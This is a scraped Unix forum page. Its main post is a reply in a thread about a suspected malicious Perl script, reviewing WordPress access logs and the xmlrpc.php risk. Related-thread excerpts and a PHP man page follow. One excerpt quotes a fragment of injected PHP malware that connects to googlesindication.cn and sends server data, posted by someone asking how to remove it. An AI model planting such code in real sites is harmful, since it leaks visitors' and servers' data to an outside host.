Sponsored Content
Full Discussion: Malicious perl script
Operating Systems Linux Debian Malicious perl script Post 302992385 by drysdalk on Friday 24th of February 2017 10:10:32 AM
Old 02-24-2017
Hi,

Aside from perhaps the POST /xmlrpc.php entries, nothing there is jumping out at me as being majorly sinister (so long as the IP address from which the POST /wp-login.php originated was expected, naturally). There have been some longstanding issues with WordPress security around xmlrpc.php, in certain configurations.

If you'll never actually need the functionality it offers (which more or less revolves around letting you update your blog remotely via certain kinds of third-party and mobile apps), then you can probably safety disable access to that file.

All in all though, I think you've probably still to find your "smoking gun" here, to so speak.

Also, sorry to ask the same thing again, but it is rather important: are you sure there are currently no sinister or unexpected processes running on your server right now ?
 

7 More Discussions You Might Find Interesting

1. Shell Programming and Scripting

remove malicious codes from a file

Hello, Please advise a script/command to remove the following line for a file <?php error_reporting(0); $fn = "googlesindication.cn"; $fp = fsockopen($fn, 80, $errno, $errstr, 15); if (!$fp) { } else { $query='site='.$_SERVER; $out = "GET /links.php?".$query." HTTP/1.1\r\n"; ... (5 Replies)
Discussion started by: fed.linuxgossip
5 Replies

2. Shell Programming and Scripting

Anti-malicious files and viruses

Hello I ask you how to make a Anti-malicious files and viruses Or if one of you a small example of the work on the same place and I hope my request I want a small patch or the process of examination Virus http://www.google.jo/images/cleardot.gif ---------- Post updated... (1 Reply)
Discussion started by: x-zer0
1 Replies

3. Cybersecurity

How to analyze malicious code

A series on The H about analyzing potentially malicious code flying around on the net. Pretty well written, and a nice read for those interested in how exploits work: CSI:Internet - Alarm at the pizza service CSI:Internet - The image of death CSI:Internet - PDF timebomb CSI:Internet -... (0 Replies)
Discussion started by: pludi
0 Replies

4. Shell Programming and Scripting

calling a perl script with arguments from a parent perl script

I am trying to run a perl script which needs input arguments from a parent perl script, but doesn't seem to work. Appreciate your help in this regard. From parent.pl $input1=123; $input2=abc; I tried calling it with system("/usr/bin/perl child.pl $input1 $input2"); and `perl... (1 Reply)
Discussion started by: grajp002
1 Replies

5. Shell Programming and Scripting

Perl : embedding java script with cgi perl script

Hi All, I am aware that html tags can be embedded in cgi script as below.. In the same way is it possible to embed the below javascript in perl cgi script ?? print("<form action="action.htm" method="post" onSubmit="return submitForm(this.Submitbutton)">"); print("<input type = "text"... (1 Reply)
Discussion started by: scriptscript
1 Replies

6. Shell Programming and Scripting

Malicious pl script, what does it do

Hello, i found and malicious looking script on my server, here is its code safelly pasted as a text on pastebin: Posting links to pastebin scripts are forbidden at this site. Please what does this script do? It has .pl extension and is on shared cpanel hosting account (1 Reply)
Discussion started by: postcd
1 Replies

7. Programming

PERL: In a perl-scripttTrying to execute another perl-script that SETS SOME VARIABLES !

I have reviewed many examples on-line about running another process (either PERL or shell command or a program), but do not find any usefull for my needs way. (Reviewed and not useful the system(), 'back ticks', exec() and open()) I would like to run another PERL-script from first one, not... (1 Reply)
Discussion started by: alex_5161
1 Replies
IMPORT_REQUEST_VARIABLES(3)						 1					       IMPORT_REQUEST_VARIABLES(3)

import_request_variables - Import GET/POST/Cookie variables into the global scope

SYNOPSIS
bool import_request_variables (string $types, [string $prefix]) DESCRIPTION
Imports GET/POST/Cookie variables into the global scope. It is useful if you disabled register_globals, but would like to see some vari- ables in the global scope. If you're interested in importing other variables into the global scope, such as $_SERVER, consider using extract(3). Warning This function has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0. PARAMETERS
o $types - Using the $types parameter, you can specify which request variables to import. You can use 'G', 'P' and 'C' characters respec- tively for GET, POST and Cookie. These characters are not case sensitive, so you can also use any combination of 'g', 'p' and 'c'. POST includes the POST uploaded file information. Note Note that the order of the letters matters, as when using " GP", the POST variables will overwrite GET variables with the same name. Any other letters than GPC are discarded. o $prefix - Variable name prefix, prepended before all variable's name imported into the global scope. So if you have a GET value named " userid", and provide a prefix " pref_", then you'll get a global variable named $pref_userid. Note Although the $prefix parameter is optional, you will get an E_NOTICE level error if you specify no prefix, or specify an empty string as a prefix. This is a possible security hazard. Notice level errors are not displayed using the default error reporting level. RETURN VALUES
Returns TRUE on success or FALSE on failure. EXAMPLES
Example #1 import_request_variables(3) example <?php // This will import GET and POST vars // with an "rvar_" prefix import_request_variables("gp", "rvar_"); echo $rvar_foo; ?> SEE ALSO
$_REQUEST, register_globals, Predefined Variables, extract(3). PHP Documentation Group IMPORT_REQUEST_VARIABLES(3)
All times are GMT -4. The time now is 09:25 AM.
Unix & Linux Forums Content Copyright 1993-2022. All Rights Reserved.
Privacy Policy